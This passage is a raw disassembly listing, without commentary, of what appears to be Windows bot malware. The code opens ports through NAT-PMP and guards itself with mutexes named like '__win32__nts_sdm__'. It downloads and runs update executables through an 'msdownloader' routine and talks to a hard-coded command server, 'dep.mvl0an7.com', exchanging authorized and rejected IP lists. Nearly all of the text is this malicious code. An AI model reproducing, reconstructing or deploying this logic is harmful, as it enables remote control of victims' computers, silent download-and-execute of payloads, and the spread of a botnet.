eax, [ebp+var_A4] mov [ebp+var_AC], eax push 10h push [ebp+var_AC] push edi call sub_447C65 ; bind jmp loc_4444D3 ; --------------------------------------------------------------------------- loc_44435D: ; CODE XREF: sub_4442A3+233j mov [ebp+var_C0], 10h push esi push offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n" call sub_4481E1 pop ecx pop ecx mov [ebp+var_80], 0 mov [ebp+var_7F], 2 mov [ebp+var_7E], 0 mov [ebp+var_7D], 0 lea ebx, [ebp+var_7C] movzx eax, [ebp+arg_4] push eax call sub_447C59 ; htons mov [ebx], ax lea ebx, [ebp+var_7A] movzx eax, [ebp+arg_8] push eax call sub_447C59 ; htons mov [ebx], ax lea ebx, [ebp+var_78] mov word ptr [ebx], 0E10h mov [ebp+var_76], 0 mov [ebp+var_75], 0 push 10h lea eax, [ebp+var_90] push eax push 0 push 0Ch lea eax, [ebp+var_80] push eax push edi call sub_447CA7 ; sendto test eax, eax jge short loc_4443DC push edi call sub_447C47 ; closesocket xor eax, eax jmp loc_4444E4 ; --------------------------------------------------------------------------- loc_4443DC: ; CODE XREF: sub_4442A3+12Aj push esi push offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n" call sub_4481E1 pop ecx pop ecx push 4 lea eax, [ebp+var_94] push eax push 1006h push 0FFFFh push edi call sub_447C41 ; setsockopt test eax, eax jge short loc_444413 push edi call sub_447C47 ; closesocket xor eax, eax jmp loc_4444E4 ; --------------------------------------------------------------------------- loc_444413: ; CODE XREF: sub_4442A3+161j push esi push offset aReceivingNat_0 ; "receiving NAT-PMP fwd request #%i...\n" call sub_4481E1 pop ecx pop ecx lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_BC] push eax push 0 push 10h lea eax, [ebp+var_80] push eax push edi call sub_447CAD ; recvfrom test eax, eax jge short loc_44445E call sub_447CB3 ; WSAGetLastError cmp eax, 274Ch jnz short loc_444451 cmp esi, 9 jnz short loc_4444CC loc_444451: ; CODE XREF: sub_4442A3+1A7j push edi call sub_447C47 ; closesocket xor eax, eax jmp loc_4444E4 ; --------------------------------------------------------------------------- loc_44445E: ; CODE XREF: sub_4442A3+19Bj push esi push offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n" call sub_4481E1 pop ecx pop ecx mov eax, [ebp+var_8C] cmp [ebp+var_B8], eax jnz short loc_4444CC cmp [ebp+var_7F], 82h jnz short loc_4444CC lea ebx, [ebp+var_7E] cmp word ptr [ebx], 0 jnz short loc_4444CC lea ebx, [ebp+var_78] movzx eax, [ebp+arg_4] push eax call sub_447C59 ; htons cmp [ebx], ax jnz short loc_4444CC lea ebx, [ebp+var_76] movzx eax, word ptr [ebx] push eax call sub_447C77 ; htons movzx eax, ax push eax push esi push offset aNatPmpReques_1 ; "NAT-PMP request #%i - port: [%i]\n" call sub_4481E1 add esp, 0Ch push edi call sub_447C47 ; closesocket movzx eax, word ptr [ebx] push eax call sub_447C59 ; htons movzx eax, ax jmp short loc_4444E4 ; --------------------------------------------------------------------------- loc_4444CC: ; CODE XREF: sub_4442A3+1ACj ; sub_4442A3+1D4j ... inc esi shl [ebp+var_94], 1 loc_4444D3: ; CODE XREF: sub_4442A3+B5j cmp esi, 0Ah jl loc_44435D push edi call sub_447C47 ; closesocket xor eax, eax loc_4444E4: ; CODE XREF: sub_4442A3+134j ; sub_4442A3+16Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4442A3 endp ; --------------------------------------------------------------------------- push ebx push esi push edi loc_4444EE: ; CODE XREF: DMN1:loc_44457Cj xor ebx, ebx inc ebx loc_4444F1: ; CODE XREF: DMN1:00444500j push 0EA60h call dword_411D00 ; Sleep inc ebx cmp ebx, 3Fh jl short loc_4444F1 call sub_444094 mov edi, eax mov eax, dword_411010 mov si, ax movzx eax, si push eax movzx eax, word ptr dword_41100C push eax push edi call sub_4442A3 add esp, 0Ch mov si, ax test si, si jz short loc_44454E movzx eax, si cmp eax, dword_411010 jz short loc_44454E movzx eax, si mov dword_411010, eax push 1 push offset dword_411024 call dword_411D04 ; InterlockedExchange loc_44454E: ; CODE XREF: DMN1:0044452Cj ; DMN1:00444537j movzx eax, word ptr dword_41100C push eax push eax call sub_443A83 pop ecx pop ecx test eax, eax jz short loc_44457C mov eax, dword_41100C cmp dword_411010, eax jz short loc_44457C push 1 push offset dword_411024 call dword_411D04 ; InterlockedExchange loc_44457C: ; CODE XREF: DMN1:00444560j ; DMN1:0044456Dj jmp loc_4444EE ; --------------------------------------------------------------------------- pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_444585 proc near ; CODE XREF: sub_447672+77p push ebx cmp dword_411018, 0 jz short loc_444593 xor eax, eax jmp short loc_4445D7 ; --------------------------------------------------------------------------- loc_444593: ; CODE XREF: sub_444585+8j xor ebx, ebx push offset a__win32__nts_s ; "__win32__nts_sdm__" push 0 push 0 call dword_411D08 ; CreateMutexA mov dword_411018, eax cmp dword_411018, 0 jz short loc_4445D5 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_4445D5 xor ebx, ebx inc ebx push dword_411018 call dword_411CF8 ; CloseHandle and dword_411018, 0 loc_4445D5: ; CODE XREF: sub_444585+2Bj ; sub_444585+38j mov eax, ebx loc_4445D7: ; CODE XREF: sub_444585+Cj pop ebx retn sub_444585 endp ; =============== S U B R O U T I N E ======================================= sub_4445D9 proc near ; CODE XREF: DMN1:loc_444F6Bp ; DMN1:00445010p ... push ebx push esi xor esi, esi push offset a__win32__nts_s ; "__win32__nts_sdm__" push 0 push 100000h call dword_411D0C ; OpenMutexA mov ebx, eax test ebx, ebx jz short loc_444601 xor esi, esi inc esi push ebx call dword_411CF8 ; CloseHandle xor ebx, ebx loc_444601: ; CODE XREF: sub_4445D9+1Aj mov eax, esi pop esi pop ebx retn sub_4445D9 endp ; =============== S U B R O U T I N E ======================================= sub_444606 proc near ; CODE XREF: sub_447672+C5p cmp dword_411018, 0 jz short locret_444622 push dword_411018 call dword_411CF8 ; CloseHandle and dword_411018, 0 locret_444622: ; CODE XREF: sub_444606+7j retn sub_444606 endp ; --------------------------------------------------------------------------- push ebx cmp dword_41101C, 0 jz short loc_444631 xor eax, eax jmp short loc_444675 ; --------------------------------------------------------------------------- loc_444631: ; CODE XREF: DMN1:0044462Bj xor ebx, ebx push offset a_win32__nts_sm ; "_win32__nts_sm__" push 0 push 0 call dword_411D08 ; CreateMutexA mov dword_41101C, eax cmp dword_41101C, 0 jz short loc_444673 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_444673 xor ebx, ebx inc ebx push dword_41101C call dword_411CF8 ; CloseHandle and dword_41101C, 0 loc_444673: ; CODE XREF: DMN1:0044464Ej ; DMN1:0044465Bj mov eax, ebx loc_444675: ; CODE XREF: DMN1:0044462Fj pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_444677 proc near ; CODE XREF: DMN1:0044740Fp ; DMN1:loc_447599p push ebx push esi xor esi, esi push offset a_win32__nts_sm ; "_win32__nts_sm__" push 0 push 100000h call dword_411D0C ; OpenMutexA mov ebx, eax test ebx, ebx jz short loc_44469F xor esi, esi inc esi push ebx call dword_411CF8 ; CloseHandle xor ebx, ebx loc_44469F: ; CODE XREF: sub_444677+1Aj mov eax, esi pop esi pop ebx retn sub_444677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4446A4 proc near ; CODE XREF: DMN1:00444A89p ; sub_447672+FBp ... var_854 = dword ptr -854h var_850 = dword ptr -850h var_844 = byte ptr -844h var_44 = dword ptr -44h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 854h push ebx push esi mov ebx, [ebp+arg_8] mov esi, [ebp+arg_C] test esi, esi jz short loc_4446BC and dword ptr [esi], 0 loc_4446BC: ; CODE XREF: sub_4446A4+13j push 44h push 0 lea eax, [ebp+var_44] push eax call sub_448551 add esp, 0Ch mov [ebp+var_44], 44h test ebx, ebx jz short loc_4446EC push offset asc_40EDC7 ; "\"" lea eax, [ebp+var_844] push eax call sub_4485F1 pop ecx pop ecx jmp short loc_4446F3 ; --------------------------------------------------------------------------- loc_4446EC: ; CODE XREF: sub_4446A4+31j mov [ebp+var_844], 0 loc_4446F3: ; CODE XREF: sub_4446A4+46j cmp [ebp+arg_0], 0 jz short loc_44470C push [ebp+arg_0] lea eax, [ebp+var_844] push eax call sub_448611 pop ecx pop ecx jmp short loc_44471F ; --------------------------------------------------------------------------- loc_44470C: ; CODE XREF: sub_4446A4+53j push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" lea eax, [ebp+var_844] push eax call sub_448611 pop ecx pop ecx loc_44471F: ; CODE XREF: sub_4446A4+66j test ebx, ebx jz short loc_444736 push offset asc_40EDC7 ; "\"" lea eax, [ebp+var_844] push eax call sub_448611 pop ecx pop ecx loc_444736: ; CODE XREF: sub_4446A4+7Dj cmp [ebp+arg_4], 0 jz short loc_444760 push offset asc_40EDB2 ; " " lea eax, [ebp+var_844] push eax call sub_448611 pop ecx pop ecx push [ebp+arg_4] lea eax, [ebp+var_844] push eax call sub_448611 pop ecx pop ecx loc_444760: ; CODE XREF: sub_4446A4+96j lea eax, [ebp+var_854] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_844] push eax push 0 call dword_411D10 ; CreateProcessA test eax, eax jz short loc_4447B3 push [ebp+var_850] call dword_411CF8 ; CloseHandle test esi, esi jz short loc_4447A4 mov eax, [ebp+var_854] mov [esi], eax jmp short loc_4447B0 ; --------------------------------------------------------------------------- loc_4447A4: ; CODE XREF: sub_4446A4+F4j push [ebp+var_854] call dword_411CF8 ; CloseHandle loc_4447B0: ; CODE XREF: sub_4446A4+FEj xor eax, eax inc eax loc_4447B3: ; CODE XREF: sub_4446A4+E4j pop esi pop ebx mov esp, ebp pop ebp retn sub_4446A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4447B9 proc near ; CODE XREF: DMN1:00444980p var_408 = dword ptr -408h var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 408h push ebx push esi push edi push 0 push 0 push 0 push 1 push offset aMsdownloader ; "msdownloader" call dword_411EF0 ; InternetOpenA mov edi, eax push edi push offset aInternetopenI ; "InternetOpen(): %i\n" call nullsub_4 pop ecx pop ecx test edi, edi jnz short loc_4447F2 xor eax, eax jmp loc_444914 ; --------------------------------------------------------------------------- loc_4447F2: ; CODE XREF: sub_4447B9+30j push 0 push 80080300h push 0 push 0 push [ebp+arg_0] push edi call dword_411EF4 ; InternetOpenUrlA mov ebx, eax push edi push offset aInternetopenur ; "InternetOpenUrl(): %i\n" call nullsub_4 pop ecx pop ecx test ebx, ebx jnz short loc_444828 push edi call dword_411EF8 ; InternetCloseHandle xor eax, eax jmp loc_444914 ; --------------------------------------------------------------------------- loc_444828: ; CODE XREF: sub_4447B9+5Fj push offset aWb_0 ; "wb" push [ebp+arg_4] call sub_448281 pop ecx pop ecx mov esi, eax test esi, esi jnz short loc_444861 push [ebp+arg_4] push offset aFopenS___ ; "fopen(%s)...\n" call nullsub_4 pop ecx pop ecx push ebx call dword_411EF8 ; InternetCloseHandle push edi call dword_411EF8 ; InternetCloseHandle xor eax, eax jmp loc_444914 ; --------------------------------------------------------------------------- loc_444861: ; CODE XREF: sub_4447B9+82j push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadingSS ; "downloading [%s] --> %s\r\n" call nullsub_4 add esp, 0Ch push 0 call dword_411D14 ; RtlRestoreLastWin32Error jmp short loc_444899 ; --------------------------------------------------------------------------- loc_44487E: ; CODE XREF: sub_4447B9+F9j cmp [ebp+var_4], 0 jz short loc_4448B4 push esi push 1 push [ebp+var_4] lea eax, [ebp+var_404] push eax call sub_4486E1 add esp, 10h loc_444899: ; CODE XREF: sub_4447B9+C3j lea eax, [ebp+var_4] push eax push 3FFh lea eax, [ebp+var_404] push eax push ebx call dword_411EFC ; InternetReadFile test eax, eax jnz short loc_44487E loc_4448B4: ; CODE XREF: sub_4447B9+C9j call dword_411CE8 ; RtlGetLastWin32Error mov [ebp+var_408], eax push esi call sub_4484E1 pop ecx push ebx call dword_411EF8 ; InternetCloseHandle push edi call dword_411EF8 ; InternetCloseHandle cmp [ebp+var_408], 0 jz short loc_4448FE push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n" call nullsub_4 add esp, 0Ch push [ebp+arg_4] call dword_411D18 ; DeleteFileA xor eax, eax jmp short loc_444914 ; --------------------------------------------------------------------------- loc_4448FE: ; CODE XREF: sub_4447B9+123j push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadedSS ; "downloaded [%s] --> %s\r\n" call nullsub_4 add esp, 0Ch xor eax, eax inc eax loc_444914: ; CODE XREF: sub_4447B9+34j ; sub_4447B9+6Aj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4447B9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 3400h call sub_4486B1 push ebx push esi push edi mov ebx, [ebp+8] mov byte ptr [ebp-2400h], 0 mov byte ptr [ebp-1000h], 0 mov esi, ebx push esi push offset aUpdateUrlS ; "UPDATE URL: <%s>\n" call nullsub_4 pop ecx pop ecx lea eax, [ebp-3400h] push eax push 0FFFh call dword_411D1C ; GetTempPathA lea eax, [ebp-2400h] push eax push 0 push offset aMsss ; "msss" lea eax, [ebp-3400h] push eax call dword_411D20 ; GetTempFileNameA lea eax, [ebp-2400h] push eax push esi call sub_4447B9 pop ecx pop ecx test eax, eax jz loc_444AA2 lea eax, [ebp-2400h] push eax push offset aDownloadedToS ; "downloaded to: <%s>\n" call nullsub_4 pop ecx pop ecx lea eax, [ebp-3400h] push eax push 0FFFh call dword_411D1C ; GetTempPathA lea eax, [ebp-1000h] push eax push 0 push offset aMsssx ; "msssx" lea eax, [ebp-3400h] push eax call dword_411D20 ; GetTempFileNameA mov edi, dword_4128A4 push 0 lea eax, [ebp-1000h] push eax push edi call dword_411D24 ; CopyFileA test eax, eax jz loc_444AA2 push 80h lea eax, [ebp-1000h] push eax call dword_411D28 ; SetFileAttributesA push offset aUpdate ; "*update \"" lea eax, [ebp-1400h] push eax call sub_4485F1 pop ecx pop ecx lea eax, [ebp-2400h] push eax lea eax, [ebp-1400h] push eax call sub_448611 pop ecx pop ecx push offset asc_40ECD5 ; "\" \"" lea eax, [ebp-1400h] push eax call sub_448611 pop ecx pop ecx push edi lea eax, [ebp-1400h] push eax call sub_448611 pop ecx pop ecx push offset asc_40EDC7 ; "\"" lea eax, [ebp-1400h] push eax call sub_448611 pop ecx pop ecx lea eax, [ebp-1400h] push eax lea eax, [ebp-1000h] push eax push offset aRunningSS___ ; "running %s (%s)...\r\n" call nullsub_4 add esp, 0Ch push 0 push 1 lea eax, [ebp-1400h] push eax lea eax, [ebp-1000h] push eax call sub_4446A4 add esp, 10h test eax, eax jz short loc_444AA2 loc_444A95: ; CODE XREF: DMN1:00444AA0j push 1770h call dword_411D00 ; Sleep jmp short loc_444A95 ; --------------------------------------------------------------------------- loc_444AA2: ; CODE XREF: DMN1:00444989j ; DMN1:004449E7j ... push 0 push offset dword_411014 call dword_411D04 ; InterlockedExchange lea eax, [ebp-2400h] push eax call sub_4485D1 pop ecx test eax, eax jz short loc_444ACD lea eax, [ebp-2400h] push eax call dword_411D18 ; DeleteFileA loc_444ACD: ; CODE XREF: DMN1:00444ABEj lea eax, [ebp-1000h] push eax call sub_4485D1 pop ecx test eax, eax jz short loc_444AEB lea eax, [ebp-1000h] push eax call dword_411D18 ; DeleteFileA loc_444AEB: ; CODE XREF: DMN1:00444ADCj push ebx call sub_441FF7 pop ecx call sub_448921 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_444AFF proc near ; CODE XREF: DMN1:loc_444D95p xor ecx, ecx mov eax, ecx retn sub_444AFF endp ; =============== S U B R O U T I N E ======================================= sub_444B04 proc near ; CODE XREF: DMN1:00444CFBp ; DMN1:00444D0Dp xor eax, eax retn sub_444B04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444B07 proc near ; CODE XREF: DMN1:00444E86p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax push ebx push esi mov ebx, [ebp+arg_4] xor esi, esi push offset dword_41285C call dword_411CCC ; RtlEnterCriticalSection cmp [ebp+arg_8], 0 jnz short loc_444B2F push dword_412934 call sub_442F1C pop ecx loc_444B2F: ; CODE XREF: sub_444B07+1Aj mov esi, [ebp+arg_0] mov eax, ebx mov ecx, 4 cdq idiv ecx mov ebx, eax jmp short loc_444B77 ; --------------------------------------------------------------------------- loc_444B40: ; CODE XREF: sub_444B07+72j push 0 push dword ptr [esi] push dword_412934 call sub_442FCA add esp, 0Ch mov eax, [esi] mov [ebp+var_4], eax push eax call sub_447CA1 ; inet_ntoa push eax mov eax, dword_412934 push dword ptr [eax+8] push offset aAuthorizedIpIS ; "authorized IP #%i [%s]\n" call nullsub_4 add esp, 0Ch dec ebx add esi, 4 loc_444B77: ; CODE XREF: sub_444B07+37j test ebx, ebx jg short loc_444B40 push offset dword_41285C call dword_411CD0 ; RtlLeaveCriticalSection xor eax, eax inc eax pop esi pop ebx mov esp, ebp pop ebp retn sub_444B07 endp ; --------------------------------------------------------------------------- push ebx push edi mov ecx, [esp+0Ch] mov ebx, [esp+10h] xor edi, edi jmp short loc_444BA9 ; --------------------------------------------------------------------------- loc_444B9D: ; CODE XREF: DMN1:00444BB3j mov eax, [ebx+4] mov [ecx], eax mov ebx, [ebx+8] add ecx, 4 inc edi loc_444BA9: ; CODE XREF: DMN1:00444B9Bj cmp edi, 4000h jge short loc_444BB5 test ebx, ebx jnz short loc_444B9D loc_444BB5: ; CODE XREF: DMN1:00444BAFj mov edx, [esp+14h] mov [edx], edi mov eax, ebx pop edi pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi push offset dword_41285C call dword_411CCC ; RtlEnterCriticalSection push dword_412934 call sub_442F1C pop ecx push offset dword_41285C call dword_411CD0 ; RtlLeaveCriticalSection push offset aDep_mvl0an7_co ; "dep.mvl0an7.com" call sub_44273F pop ecx mov [ebp-14h], eax test eax, eax jz short loc_444C08 cmp eax, 0FFFFFFFFh jz short loc_444C08 test eax, eax jnz short loc_444C0D loc_444C08: ; CODE XREF: DMN1:00444BFBj ; DMN1:00444C02j jmp loc_444F3A ; --------------------------------------------------------------------------- loc_444C0D: ; CODE XREF: DMN1:00444C06j mov word ptr [ebp-16h], 24A2h xor esi, esi and dword ptr [ebp-0Ch], 0 push 0 push offset dword_411024 call dword_411D04 ; InterlockedExchange cmp dword_411004, 0 jnz short loc_444C4B movzx eax, word ptr dword_41100C push eax movzx eax, word ptr dword_411010 push eax call sub_44335D pop ecx pop ecx mov dword_411004, eax loc_444C4B: ; CODE XREF: DMN1:00444C2Dj movzx eax, word ptr dword_41100C push eax movzx eax, word ptr dword_411010 push eax call sub_4433CA pop ecx pop ecx push dword_411010 push offset aMyPortI ; "my port [%i]\n" call nullsub_4 pop ecx pop ecx mov eax, [ebp-14h] mov [ebp-1Ch], eax push eax call sub_447CA1 ; inet_ntoa mov [ebp-20h], eax movzx eax, word ptr [ebp-16h] push eax push dword ptr [ebp-20h] push offset aSrvSI ; "SRV: [%s:%i]\n" call nullsub_4 add esp, 0Ch and dword ptr [ebp-10h], 0 call sub_4422DA mov [ebp-10h], eax test eax, eax jz loc_444F3A push dword ptr [ebp-10h] call sub_442944 pop ecx mov esi, eax push offset aSrvConnecting_ ; "SRV: connecting...\n" call nullsub_4 pop ecx movzx eax, word ptr [ebp-16h] push eax push dword ptr [ebp-14h] push dword ptr [ebp-10h] call sub_4424E8 add esp, 0Ch test eax, eax jnz short loc_444CE9 push offset aSrvConnectingF ; "SRV: connecting failed.\n" call nullsub_4 pop ecx jmp loc_444F3A ; --------------------------------------------------------------------------- loc_444CE9: ; CODE XREF: DMN1:00444CD7j push offset aSrvHandshaki_0 ; "SRV: handshaking...\n" call nullsub_4 pop ecx mov dword ptr [ebp-24h], 1000h call sub_444B04 push eax push offset aSrvRip?I ; "SRV: rip? %i\n" call nullsub_4 pop ecx pop ecx call sub_444B04 test eax, eax jz short loc_444D1A or dword ptr [ebp-24h], 1 loc_444D1A: ; CODE XREF: DMN1:00444D14j push dword ptr [ebp-24h] movzx eax, word ptr dword_411010 push eax push esi call sub_442CF7 add esp, 0Ch test eax, eax jnz short loc_444D42 push offset aSrvHandshaking ; "SRV: handshaking failed.\n" call nullsub_4 pop ecx jmp loc_444F3A ; --------------------------------------------------------------------------- loc_444D42: ; CODE XREF: DMN1:00444D30j push offset byte_40EBFB call nullsub_4 pop ecx push esi call sub_442ED2 pop ecx mov [ebp-8], eax test eax, eax jz short loc_444D6B push offset aSrvAckHandshac ; "SRV: ACK handshacking failed\n" call nullsub_4 pop ecx jmp loc_444F3A ; --------------------------------------------------------------------------- loc_444D6B: ; CODE XREF: DMN1:00444D59j test byte ptr [ebp-24h], 1 jz loc_444E22 push offset aSrvSendingReje ; "* SRV: sending rejected IPs\n" call nullsub_4 pop ecx push 10004h call sub_441FC9 pop ecx mov [ebp-30h], eax mov [ebp-2Ch], eax and dword ptr [ebp-28h], 0 loc_444D95: ; CODE XREF: DMN1:00444DB8j call sub_444AFF mov edi, eax test edi, edi jz short loc_444DBA mov edx, [ebp-2Ch] mov [edx], edi mov eax, [ebp-2Ch] add eax, 4 mov [ebp-2Ch], eax inc dword ptr [ebp-28h] cmp dword ptr [ebp-28h], 3FFFh jl short loc_444D95 loc_444DBA: ; CODE XREF: DMN1:00444D9Ej mov eax, [ebp-28h] add eax, eax add eax, eax push eax push dword ptr [ebp-30h] push 100h push esi call sub_442B10 add esp, 10h test eax, eax jnz short loc_444DF0 push dword ptr [ebp-30h] call sub_441FF7 pop ecx push offset sub_40EB9E call nullsub_4 pop ecx jmp loc_444F3A ; --------------------------------------------------------------------------- loc_444DF0: ; CODE XREF: DMN1:00444DD5j push dword ptr [ebp-30h] call sub_441FF7 pop ecx push offset aSrvAckRejected ; "SRV: ACK rejected IPs\n" call nullsub_4 pop ecx push esi call sub_442ED2 pop ecx mov [ebp-8], eax test eax, eax jz short loc_444E22 push offset aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n" call nullsub_4 pop ecx jmp loc_444F3A ; --------------------------------------------------------------------------- loc_444E22: ; CODE XREF: DMN1:00444D6Fj ; DMN1:00444E10j ... push 0FFFFh push 0 lea eax, [ebp-2] push eax push esi call sub_442CDC add esp, 10h mov ebx, eax test ebx, ebx jl loc_444F3A movzx eax, word ptr [ebp-2] mov [ebp-28h], eax cmp eax, 200h jz short loc_444E61 cmp eax, 201h jz short loc_444EA2 cmp eax, 202h jz short loc_444E71 jmp loc_444F35 ; --------------------------------------------------------------------------- loc_444E61: ; CODE XREF: DMN1:00444E4Cj push offset byte_40EB5F call nullsub_4 pop ecx jmp loc_444F3A ; --------------------------------------------------------------------------- loc_444E71: ; CODE XREF: DMN1:00444E5Aj push offset word_40EB52 call nullsub_4 pop ecx push dword ptr [ebp-0Ch] push ebx push dword ptr [esi+470h] call sub_444B07 add esp, 0Ch test eax, eax jz loc_444F35 mov dword ptr [ebp-0Ch], 1 jmp loc_444F35 ; --------------------------------------------------------------------------- loc_444EA2: ; CODE XREF: DMN1:00444E53j test ebx, ebx jnz short loc_444EAF mov edx, [esi+470h] mov byte ptr [edx], 0 loc_444EAF: ; CODE XREF: DMN1:00444EA4j push dword ptr [esi+470h] push offset sub_40EB3F call nullsub_4 pop ecx pop ecx test ebx, ebx jz short loc_444F35 push dword ptr [esi+470h] call sub_4485D1 pop ecx test eax, eax jz short loc_444F35 push 0 push offset dword_411014 call dword_411D2C ; InterlockedExchangeAdd test eax, eax jnz short loc_444F35 push 1 push offset dword_411014 call dword_411D04 ; InterlockedExchange push 10000h call sub_441FC9 pop ecx mov [ebp-2Ch], eax push dword ptr [esi+470h] push dword ptr [ebp-2Ch] call sub_4485F1 pop ecx pop ecx push offset sub_40EB25 call nullsub_4 pop ecx push dword ptr [ebp-2Ch] push 0 push offset sub_40399A call sub_448891 add esp, 0Ch push eax call dword_411CF8 ; CloseHandle loc_444F35: ; CODE XREF: DMN1:00444E5Cj ; DMN1:00444E90j ... jmp loc_444E22 ; --------------------------------------------------------------------------- loc_444F3A: ; CODE XREF: DMN1:loc_444C08j ; DMN1:00444CA6j ... test esi, esi jz short loc_444F45 push esi call sub_4429BC pop ecx loc_444F45: ; CODE XREF: DMN1:00444F3Cj cmp dword ptr [ebp-10h], 0 jz short loc_444F54 push dword ptr [ebp-10h] call sub_442443 pop ecx loc_444F54: ; CODE XREF: DMN1:00444F49j push offset aSrvcommthreadD ; "SrvCommThread: done\n" call nullsub_4 pop ecx call sub_448921 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_444F6B: ; CODE XREF: DMN1:00444F8Cj call sub_4445D9 test eax, eax jz short loc_444F81 call sub_445FED push 0 call dword_411D30 ; ExitProcess loc_444F81: ; CODE XREF: DMN1:00444F72j push 3E8h call dword_411D00 ; Sleep jmp short loc_444F6B ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push esi push edi and dword ptr [ebp-4], 0 loc_444F9A: ; CODE XREF: DMN1:00445033j push 0 push 0 push offset sub_403C3F call sub_448891 add esp, 0Ch mov esi, eax push 0FFFFFFFFh mov eax, esi push eax call dword_411D34 ; WaitForSingleObject mov eax, esi push eax call dword_411CF8 ; CloseHandle cmp dword_411030, 0 jz short loc_445038 lea eax, [ebp-4] push eax call sub_441F82 pop ecx mov ecx, 3Ch cdq idiv ecx lea eax, [edx+6EAh] mov edi, eax push edi push offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n" call nullsub_4 pop ecx pop ecx mov ebx, edi jmp short loc_44501B ; --------------------------------------------------------------------------- loc_444FF5: ; CODE XREF: DMN1:0044501Dj push ebx push offset aISecondsLeft_ ; "\r%i seconds left \b\b\b." call nullsub_4 pop ecx pop ecx push 7D0h call dword_411D00 ; Sleep sub ebx, 2 call sub_4445D9 test eax, eax jz short loc_44501B xor ebx, ebx loc_44501B: ; CODE XREF: DMN1:00444FF3j ; DMN1:00445017j test ebx, ebx jg short loc_444FF5 push offset asc_40EAC3 ; "\r \r" call nullsub_4 pop ecx cmp dword_411030, 0 jz short loc_445038 jmp loc_444F9A ; --------------------------------------------------------------------------- loc_445038: ; CODE XREF: DMN1:00444FC8j ; DMN1:00445031j call sub_448921 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445044 proc near ; CODE XREF: sub_447672+3DFp ; sub_447672+488p ... var_44 = dword ptr -44h var_40 = byte ptr -40h var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 44h mov [ebp+var_44], 3Fh lea eax, [ebp+var_44] push eax lea eax, [ebp+var_40] push eax call dword_411E40 ; GetUserNameA test eax, eax jz short loc_44508B cmp [ebp+var_44], 6 jnb short loc_44506D xor eax, eax jmp short loc_44508B ; --------------------------------------------------------------------------- loc_44506D: ; CODE XREF: sub_445044+23j mov [ebp+var_1], 0 lea eax, [ebp+var_40] push eax push offset aSystem ; "SYSTEM" call dword_411D38 ; lstrcmpi test eax, eax jz short loc_445088 xor eax, eax jmp short loc_44508B ; --------------------------------------------------------------------------- loc_445088: ; CODE XREF: sub_445044+3Ej xor eax, eax inc eax loc_44508B: ; CODE XREF: sub_445044+1Dj ; sub_445044+27j ... mov esp, ebp pop ebp retn sub_445044 endp ; =============== S U B R O U T I N E ======================================= sub_44508F proc near ; CODE XREF: sub_446A4A+1p ; DMN1:loc_446BDAp ... push ebx cmp dword_411028, 0 jz short loc_44509D xor eax, eax jmp short loc_4450E1 ; --------------------------------------------------------------------------- loc_44509D: ; CODE XREF: sub_44508F+8j xor ebx, ebx push offset a_win32__nts_um ; "_win32__nts_um__" push 0 push 0 call dword_411D08 ; CreateMutexA mov dword_411028, eax cmp dword_411028, 0 jz short loc_4450DF call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_4450DF xor ebx, ebx inc ebx push dword_411028 call dword_411CF8 ; CloseHandle and dword_411028, 0 loc_4450DF: ; CODE XREF: sub_44508F+2Bj ; sub_44508F+38j mov eax, ebx loc_4450E1: ; CODE XREF: sub_44508F+Cj pop ebx retn sub_44508F endp ; =============== S U B R O U T I N E ======================================= sub_4450E3 proc near ; CODE XREF: sub_446A4A+3Dp ; DMN1:00446BBEp ... cmp dword_411028, 0 jz short locret_4450FF push dword_411028 call dword_411CF8 ; CloseHandle and dword_411028, 0 locret_4450FF: ; CODE XREF: sub_4450E3+7j retn sub_4450E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445100 proc near ; CODE XREF: sub_44517C+2Ep var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx lea ebx, [ebp+var_20] mov byte ptr [ebx], 0 inc ebx movzx eax, [ebp+arg_4] mov [ebx], al inc ebx mov ax, [ebp+arg_C] mov [ebx], ax add ebx, 2 mov eax, [ebp+arg_8] mov 